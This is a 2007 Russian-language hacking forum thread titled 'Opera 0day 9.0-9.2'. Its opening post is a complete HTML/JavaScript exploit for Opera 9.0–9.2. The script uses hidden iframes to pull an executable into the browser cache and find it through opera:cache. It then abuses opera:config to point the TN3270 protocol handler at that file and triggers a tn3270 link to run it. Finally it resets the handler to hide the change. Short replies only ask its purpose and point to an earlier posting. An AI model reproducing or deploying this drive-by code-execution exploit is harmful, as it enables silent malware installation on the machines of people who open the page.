Opera 0day 9.0-9.2

Discussion in 'Уязвимости' started by md5f1h, 27 Oct 2007.

  1. md5f1h

    md5f1h Member

    Joined:
    26 Jan 2007
    Messages:
    14
    Likes Received:
    8
    Reputations:
    0
    <HTM>
    <head>
    <script>
    blank_iframe = document.createElement('iframe');
    blank_iframe.src = 'about:blank';
    blank_iframe.setAttribute('id', 'blank_iframe_window');
    blank_iframe.setAttribute('style', 'display:none');
    document.appendChild(blank_iframe);
    blank_iframe_window.eval
    ("config_iframe = document.createElement('iframe');\
    config_iframe.setAttribute('id', 'config_iframe_window');\
    config_iframe.src = 'opera:config';\
    document.appendChild(config_iframe);\
    app_iframe = document.createElement('script');\
    cache_iframe = document.createElement('iframe');\

    app_iframe.src = "http://localhost/youexe.exe";\
    app_iframe.onload = function ()\
    {\
    cache_iframe.src = 'opera:cache';\
    cache_iframe.onload = function ()\
    {\
    cache = cache_iframe.contentDocument.childNodes[0].innerHTML.toUpperCase();\
    var re = new RegExp('(OPR\\\\w{5}.EXE)</TD>\\\\s*<TD>\\\\d+</TD>\\\\s*<TD><A HREF=\"'+app_iframe.src.toUpperCase(), '');\
    filename = cache.match(re);\
    config_iframe_window.eval\
    (\"\
    opera.setPreference('Network','TN3270 App',opera.getPreference('User Prefs','Cache Directory4')+parent.filename[1]);\
    app_link = document.createElement('a');\
    app_link.setAttribute('href', 'tn3270://nothing');\
    app_link.click();\
    setTimeout(function () {opera.setPreference('Network','TN3270 App','telnet.exe')},1000);\
    \");\
    };\
    document.appendChild(cache_iframe);\
    };\
    document.appendChild(app_iframe);");
    </script>
    </BODY>
    </HTM>
     
  2. onikishov

    onikishov Elder - Старейшина

    Joined:
    25 Mar 2007
    Messages:
    142
    Likes Received:
    74
    Reputations:
    0
    на что скрипт?
     
  3. inv

    inv Banned

    Joined:
    3 Aug 2007
    Messages:
    261
    Likes Received:
    143
    Reputations:
    -58
    на ачате уже было
     
  4. [dword]

    [dword] Elder - Старейшина

    Joined:
    11 Apr 2007
    Messages:
    109
    Likes Received:
    74
    Reputations:
    40
    здесь было:
    https://forum.antichat.ru/threadnav47006-1-10.html
     
    1 person likes this.